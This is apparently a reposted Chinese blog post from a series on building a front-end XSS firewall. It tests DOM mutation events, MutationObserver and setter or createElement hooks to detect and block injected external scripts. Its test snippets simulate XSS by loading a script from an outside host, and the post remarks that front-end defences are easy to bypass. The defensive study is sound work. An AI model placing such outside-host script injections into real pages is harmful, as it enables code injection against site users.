XSS 前端防火墙-可疑模块拦截

上一篇介绍的系统,虽然能防御简单的内联 XSS 代码,但想绕过还是很容易的。

由于是在前端防护,策略配置都能在源代码里找到,因此很快就能试出破解方案。并且攻击者可以屏蔽日志接口,在自己电脑上永不发出报警信息,保证测试时不会被发现。

昨天提到最简单并且最常见的 XSS 代码,就是加载站外的一个脚本文件。对于这种情况,关键字扫描就无能为力了,因为代码可以混淆的千变万化,我们看不出任何异常,只能将其放行。

因此,我们还需增加一套可疑模块跟踪系统。

被动扫描

和之前说的一样,最简单的办法仍是遍历扫描。我们可以定时分析页面里的脚本元素,发现有站外地址的脚本就发送预警日志。

如果昨天说的内联事件使用定时扫描,或许还能在触发前拦截一部分,但对于脚本则完全不可能了。脚本元素一旦被挂载到主节点之下,就立即加载并执行了。除非定时器开的特别短,能在脚本加载的过程中将其销毁,或许还能拦截,否则一不留神就错过了。

我们得寻找更高端的浏览器接口,能在元素创建或添加时,进行分析和拦截。

主动防御

在无所不能的 HTML5 里,这当然是能办到的,它就是 MutationEvent。与其相关的有两个玩意:一个叫 DOMNodeInserted 的事件,另一个则是 MutationObserver 类。

前者虽然是个事件,但即使阻止冒泡它,或调用 preventDefault 这些方法,仍然无法阻止元素被添加;而后者就不用说了,看名字就是一个观察器,显然优先级会更低。

MutationEvent 试探

但不管能否实现我们的目标,既然有这么个东西,就先测试看看究竟能有多大的本领。

<script>
    var observer = new MutationObserver(function(mutations) {
        console.log('MutationObserver:', mutations);
    });
    observer.observe(document, {
        subtree: true,
        childList: true
    });

    document.addEventListener('DOMNodeInserted', function(e) {
        console.log('DOMNodeInserted:', e);
    }, true);
</script>

<script>console.warn('site-in xss 1');</script>
<script src="http://www.9696e.com/statics/xss/out.js"></script>
<script>console.warn('site-in xss 2');</script>

<button id="btn">创建脚本</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.9696e.com/statics/xss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

出乎意料的是,MutationObserver 居然能逐一捕捉到页面加载时产生的静态元素,这在过去只能通过定时器才能勉强实现。同时为了更高效的记录,MutationObserver 并非发现新元素就立即回调,而是将一个时间片段里出现的所有元素,一起传过来。这对性能来说是件好事,但显然会损失一些优先级。

再看 DOMNodeInserted,它虽然无法捕获到静态元素,但在动态创建元素时,它比 MutationObserver 更早触发,拥有更高的优先级。

静态脚本拦截

接着再来尝试,能否利用这两个事件,销毁可疑的脚本元素,以达到主动拦截的效果。

<script>
    var observer = new MutationObserver(function(mutations) {
        mutations.forEach(function(mutation) {

            var nodes = mutation.addedNodes;
            for (var i = 0; i < nodes.length; i++) {
                var node = nodes[i];

                if (/xss/.test(node.src) || /xss/.test(node.innerHTML)) {
                    node.parentNode.removeChild(node);
                    console.log('拦截可疑模块:', node);
                }
            }
        });
    });

    observer.observe(document, {
        subtree: true,
        childList: true
    });
</script>

<script>console.warn('site-in xss 1');</script>
<script src="http://www.9696e.com/statics/xss/out.js"></script>
<script>console.warn('site-in xss 2');</script>

<button id="btn">创建脚本</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.9696e.com/statics/x\ss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

又是一个出人意料的结果,所有静态脚本被成功拦截了!

webxss
iexss

然而这并非标准。FireFox 虽然拦截到脚本,但仍然执行代码了。

xssFireFox

不过对于预警系统来说,能够发现问题也足够了,可以拦截风险那就再好不过。

动态脚本拦截

刚刚测试了静态脚本的拦截,取得了不错的成绩。但在动态创建的元素上,和我们先前猜测的一样,MutationObserver 因优先级过低而无法拦截。

那就让 DOMNodeInserted 来试试:

<script>
    document.addEventListener('DOMNodeInserted', function(e) {
        var node = e.target;

        if (/xss/.test(node.src) || /xss/.test(node.innerHTML)) {
            node.parentNode.removeChild(node);
            console.log('拦截可疑模块:', node);
        }
    }, true);
</script>

<button id="btn">创建脚本</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.9696e.com/staticsxss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

遗憾的是,DOMNodeInserted 也没能拦截动态脚本的执行 —— 尽管能检测到。经过一番尝试,所有浏览器都宣告失败。

当然,能实时预警已满足我们的需求了。但若能拦截动态脚本,整套系统防御力就更高了。

既然无法通过监控节点挂载来拦截,我们不妨换一条路。问题总有解决的方案,就看简单与否。

属性拦截

仔细分析动态脚本创建的所有步骤:

var el = document.createElement('script');
el.src = 'http://www.9696e.com/statics/xss/out.js?dynamic';
document.body.appendChild(el);

是哪一步触发了挂载事件?显然是最后行。要获得比它更高的优先级,我们只能往前寻找。

既然是动态创建脚本,赋予它 src 属性必不可少。如果创建脚本只为赋值 innerHTML 的话,还不如直接 eval 代码更简单。

如果能在属性赋值时进行拦截,那么我们即可阻止赋予可疑的 src 属性。

类似 IE 有个 onpropertychange 事件,HTML5 里面也是有属性监听接口的,并且就是刚刚我们使用的那个:MutationEvent。甚至还是那两套方案:DOMAttrModified 和 MutationObserver。

在根节点上监听属性变化,肯定会大幅影响页面的性能,但我们还是先来看看是否可行。

先尝试 MutationObserver:

var observer = new MutationObserver(function(mutations) {
    console.log(mutations);
});
observer.observe(document, {
    subtree: true,
    attributes: true
});

var el = document.createElement('script');
el.src = 'http://www.9696e.com/statics/xss/out.js?dynamic';
document.body.appendChild(el);

站外脚本执行了,但奇怪的是,回调却没有触发。原来,我们监控的是 document 下的元素,而脚本赋值时还处于离屏状态,显然无法将事件冒泡上来。

如果我们先 appendChild 再赋值 src 属性,倒是可以捕获到。但现实中调用顺序完全不是我们说了算的。

同样的,DOMAttrModified 也有这问题。

看来,事件这条路的局限性太大,我们得另辟蹊径。

API 拦截

监控属性赋值的方式肯定不会错,只是我们不能再用事件那套机制了。

想在修改属性时触发函数调用,除了事件外,另一个在传统语言里经常用到的、并且主流 JavaScript 也支持的,那就是 Setter 访问器。

当我们设置脚本元素 src 属性时,理论上说 HTMLScriptElement.prototype.src 这个访问器将被调用。如果我们重写这个访问器,即可在设置脚本路径时将其拦截。

<script>
    HTMLScriptElement.prototype.__defineSetter__('src', function(url) {
        console.log('设置路径:', url);
    });
</script>

<button id="btn">创建脚本</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.9696e.com/statics/xss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

如果这套方案可行的话,一切都将迎刃而解。而且我们只监听脚本元素的 src 赋值,其他元素和属性则完全不受影响,因此性能得到极大提升。

经测试,FireFox 和 IE 浏览器完全可行。我们事先保存原始的 setter 变量,然后根据策略,决定是否向上调用。

<script>
    var raw_setter = HTMLScriptElement.prototype.__lookupSetter__('src');

    HTMLScriptElement.prototype.__defineSetter__('src', function(url) {
        if (/xss/.test(url)) {
            if (confirm('试图加载可疑模块:\n\n' + url + '\n\n是否拦截?')) {
                return;
            }               
        }
        raw_setter.call(this, url);
    });
</script>

<button id="btn">创建脚本</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.9696e.com/statics/xss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

access_hook
效果非常漂亮,然而现实却令人遗憾 —— 我们的主流浏览器 Chrome 并不支持。由于无法操作原生访问器,即使在原型链上重写了 setter,实际赋值时仍不会调用我们的监控程序。

先不急,若是抛弃原型链,直接在元素实例上定义访问器又会如何?

<button id="btn">创建脚本</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');

        el.__defineSetter__('src', function(url) {
            console.log('设置路径:', url);
        });

        el.src = 'http://www.9696e.com/statics/xss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

这一回,Chrome 终于可以了。

instance_hook

然而,这仅仅是测试。现实中哪有这样的机会,供我们装上访问器呢。

因此,我们只能把主动防御的时机再往前推,在元素创建时就调用我们的防御代码。我们得重写 createElement 这些能创建元素 API,只有这样,才能第一时间里,给实例装上我们的钩子程序,为 Chrome 实现动态模块的防御:

<script>
    // for chrome
    var raw_fn = Document.prototype.createElement;

    Document.prototype.createElement = function() {

        // 调用原生函数
        var element = raw_fn.apply(this, arguments);

        // 为脚本元素安装属性钩子
        if (element.tagName == 'SCRIPT') {
            element.__defineSetter__('src', function(url) {
                console.log('设置路径:', url);
            });
        }

        // 返回元素实例
        return element;
    };
</script>

<button id="btn">创建脚本</button>
<script>
    btn.onclick = function() {
        var el = document.createElement('script');
        el.src = 'http://www.9696e.com/statics/xss/out.js?dynamic';
        document.body.appendChild(el);
    };
</script>

这样,当元素创建时,就已带有我们的属性扫描程序了,Chrome 不支持的问题也迎刃而解。

事实上,除了重写 property 访问器,我们还得考虑通过 setAttribute 赋值 src 的情况。因此需整理出一套完善的浏览器钩子程序。

重写原生 API 看似很简单,但如何才能打造出一个无懈可击的钩子系统呢?明天继续讲解。

来源于http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-2/

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